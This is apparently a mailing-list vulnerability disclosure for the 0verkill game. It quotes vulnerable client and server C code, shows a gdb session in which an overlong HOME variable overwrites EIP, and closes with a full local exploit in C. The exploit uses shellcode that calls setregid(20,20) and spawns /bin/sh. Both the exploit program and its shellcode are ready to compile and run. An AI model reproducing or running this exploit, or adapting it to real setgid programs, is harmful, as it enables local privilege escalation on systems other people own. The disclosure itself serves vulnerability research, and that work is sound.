<<< Date Index >>>     <<< Thread Index >>>

0verkill - little simple vulnerability.



0verkill - little simple vulnerability.

I.  Entry.

    Vulnerability is game 0verkill. There is some little bugs in 
clinet / server.

II. Vulnerability details.

  a) client:

    Vulnerability function is load_cfg(), save_cfg() and maybe 
send_message().
There is simple buffer overflow bugs:

"in file client.c"
void load_cfg(char *host,char *name,int *color)
{
...
...
        unsigned char txt[256];

#ifndef WIN32
        sprintf(txt,"%s/%s",getenv("HOME"),CFG_FILE);    // 
first overflow
#else
        sprintf(txt,"./%s",CFG_FILE);
#endif
...
...
        a=strlen(txt);
...
...
        memcpy(host,txt,strlen(txt)+1);                  // 
second overflow
...
...
        a=strlen(txt);
...
...
        memcpy(name,txt,strlen(txt)+1);                  // 
third overflow
...
...
}

"in file client.c"
void save_cfg(char *host,char *name,int color)
{
...
...
        unsigned char txt[256];
        
#ifndef WIN32
        sprintf(txt,"%s/%s",getenv("HOME"),CFG_FILE);    // 
overflow
#else
        sprintf(txt,"./%s",CFG_FILE);
#endif
...
...
}               

"in file client.c"
void send_message(char *msg)
{
        static unsigned char packet[MAX_MESSAGE_LENGTH+2];
        int a;
        
        a=strlen(msg)+1;
        packet[0]=P_MESSAGE;
        memcpy
(packet+1,msg,a);                                       // maybe 
it's possible overflow
        send_packet(packet,a+1,(struct sockaddr *)
(&server),my_id,0);
}

First we look for function load_cfg(). If we compiled 0verkill 
on other system that Windows
we can set HOME and we can do overflow array txt (it's first 
overflow). Look:

root@darkstar:~root/all/gry/0verkill# HOME=`perl -
e 'print "A"x300'`
root@darkstar:~root/all/gry/0verkill# gdb ./0verkill
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, 
and you are
welcome to change it and/or distribute copies of it under 
certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" 
for details.
This GDB was configured as "i386-slackware-linux"...
(gdb) r
Starting program: /root/root/all/gry/0verkill/./0verkill

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r eip
eip            0x41414141       0x41414141
(gdb)

OK. Now we look for second and third bug... function memcpy() 
copy from array txt to host (in second
bug) and from txt to name (thirs bug) bytes. We have controle on 
array txt by setting HOME. Memcpy copy
strlen(txt)+1 bytes. Host and name is argument for load_cfg() 
function. This function is called by main()
and there is declarate host and name array:

"in file client.c"
int main(int argc,char **argv)
{
...
...
        char host[MAX_HOST_LEN+1];
        char name[MAX_NAME_LEN+1];
...
...
        memset(host,0,MAX_HOST_LEN+1);
...
...
        load_cfg(host,name,&color);
...
...
}

Now looked for file cfg.h:

"in file cfg.h"
...
...
#define MAX_NAME_LEN 24  /* maximal length of player's name */
#define MAX_HOST_LEN 64  /* maximal length of hostname */
...
...
" -=[ EOF ]=- "

... and now look for function save_cfg(). There is bug like that 
first bug in function load_cfg().
Now look for function send_message(). There is bad using 
function memcpy() (like that second and third
bug in load_cfg() function) and maybe it is possible to do 
buffer overflow atack. This function read
argument *msg. Call to function send_message() is in function 
play(). Looked:

"in file client.c"
void play(void)
{
...
...
        char string[80];
...
...
                if (chat)
                {
                                ...
                                ...
                                case 1:
                                char 0;
                                send_message(string);
                                ...
                                ...
                }
...
...
}

MAX_MESSAGE_LENGTH is defined i cfg.h file too look:

"in file cfg.h"
...
...
#define MAX_MESSAGE_LENGTH 70  /* maximal length of chat message 
*/
...
...
" -=[ EOF ]=- "

packet is array 72, string is array 80 and maybe there is 
possible in this situation in function
send_message() do buffer overflow atack becouse string is 
argument for send_message() function.

  b) server, compiled on Windows platform

There is bug in function parse_command_line() and maybe in 
function GetLastErrorText(). Looked for
function parse_command_line():

"in file server.c"
void parse_command_line(int argc,char **argv)
{
        int a;
...
#ifdef WIN32
                a=getopt(argc,argv,"hl:np:ri:Ic");
...
...
#endif
                switch(a)
                {
...
...
#ifdef WIN32
...
...
                        case 'i': {     /* install service */
                                char    username[80],
                                        *pass=NULL;
                                                ...
...
                                        if ( (pass=strchr
(optarg, '/'))==NULL ) {
                                                strcpy(username, 
optarg);
                                                memcpy(username, 
optarg, sizeof(username)-1);
...
...
}

We have simple bufer overflow by call strcpy(). I don't know why 
autor 2 times copying argument
in to the array. First by call strcpy() and second time by call 
memcpy()...
Function GetLastErrorText() have call sprintf that in theory 
could do buffer overflow, but i couldn't
find how to fill argument for sprintf() who in theory could do 
overflow. Look:

"in file server.c"
LPTSTR GetLastErrorText(LPTSTR lpszBuf, DWORD dwSize) {
...
        LPTSTR  lpszTemp=NULL;
...
...
        dwRet=FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | 
FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_ARGUMENT_ARRAY, NULL,
                globErr, LANG_NEUTRAL, (LPTSTR)&lpszTemp, 0, 
NULL);
...
...
                sprintf(lpszBuf, ": %u: %s", globErr, 
lpszTemp); // there :P
...
...
}

IpszBuf is argument for function GetLastErrorText(), lpszTemp is 
filled prbably by function FormatMessage();
but i couldn't find her.

III. Exploit.

Simple exploit for local bug in client 0verkill:

/*
 * Simple local exploit for 0verkill by pi3 (pi3ki31ny)
 * Greetz: [greetz on my web] && other my friends (you know who 
you are)
 *
 *         ...::: -=[ www.pi3.int.pl ]=- :::...
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>

#define PATH "./0verkill"
#define BUFS 300

/*    ...::: -=[ www.pi3.int.pl ]=- :::...    */

char shellcode[] = "\x31\xdb\x31\xc0\x31\xd2\xb2\x2d\x6a\x0a\x68
\x3a"
                   "\x2e\x2e\x2e\x68\x2d\x20\x3a\x3a\x68\x6c\x20
\x5d"
                   "\x3d\x68\x6e\x74\x2e\x70\x68\x69\x33\x2e\x69
\x68"
                   "\x77\x77\x2e\x70\x68\x3d\x5b\x20\x77\x68
\x3a\x3a"
                   "\x20\x2d\x68\x2e\x2e\x2e\x3a\x89\xe1\xb0\x04
\xcd"
                   "\x80"

/*    setregid (20,20)    */

                   "\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0
\x47"
                   "\xcd\x80"
                        
/*    exec /bin/sh    */

                   "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62
\x69"
                   "\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0
\x0b\xcd"
                   "\x80"

/*    exit(0)    */

                   "\x31\xdb\x89\xd8\xb0\x01\xcd\x80";

long ret_ad(char *a1, char *a2) {
   
   return (0xbffffffa-strlen(a1)-strlen(a2));
}

int ussage(char *arg) {
   
   printf("\n\t...::: -=[ Simple exploit for 0verkill (by pi3) ]
=- :::...\n");
   printf("\n\tUssage:\n\t[+] %s [options]\n
            -? <this help screen>
            -o <offset>
            -p PATH\n\n",arg);
   exit(-1);
}

int main(int argc, char *argv[]) {
   
   long ret,*buf_addr;
   char *buf,*path=PATH;
   int i,opt,offset=0;
   FILE *fp;
   
   while((opt = getopt(argc,argv,"p:o:?")) != -1) {
         switch(opt) {
                    
          case 'o':

            offset=atoi(optarg);
            break;
            
          case 'p':
            
            path=optarg;
            break;
            
          case '?':
          default:
            
            ussage(argv[0]);
            break;
         }
   }
   
   if ( (fp=fopen(path,"r"))==NULL) {
      printf("\n*\tI can\'t open path to victim! - %
s\t*\n\n",path);
      ussage(argv[0]);
   } fclose(fp);
   
   if (!(buf=(char*)malloc(BUFS))) {
      printf("\nI can\'t locate memory! - buf\n");
      exit(-1);
   }
   
   printf("\n\t...::: -=[ Simple exploit for 0verkill (by pi3) ]
=- :::...\n");
   printf("\n\t[+] Bulding buffors!\n");

   ret=ret_ad(shellcode,path);
   ret+=offset;
   
   printf("\t[+] Using adres 0x%x\n",ret);
   
   buf_addr=(long*)buf;
   
   for(i=0;i<BUFS;i+=4) {
    *(buf_addr) = ret; buf_addr++;
   }
   memcpy(buf, shellcode, strlen(shellcode));
    
   printf("\nExecuting the vuln program - %s\n\n",path);

   setenv("HOME", buf, 1);
   execl(path,path, 0);
   return 0;
}

--
pi3 (pi3ki31ny) - pi3ki31ny@xxxxx
http://www.pi3.int.pl

"Wartosc czlowieka niejest wymierna do jego wiedzy lecz do 
wartosci ktore ceni najbardziej"


----------------------------------------------------
Wygraj markowe telefony! Mamy aż 90 nagród do rozdania!
http://klik.wp.pl/?adr=http%3A%2F%2Fsms.wp.pl%2Falcatelkonkurs.html&sid=104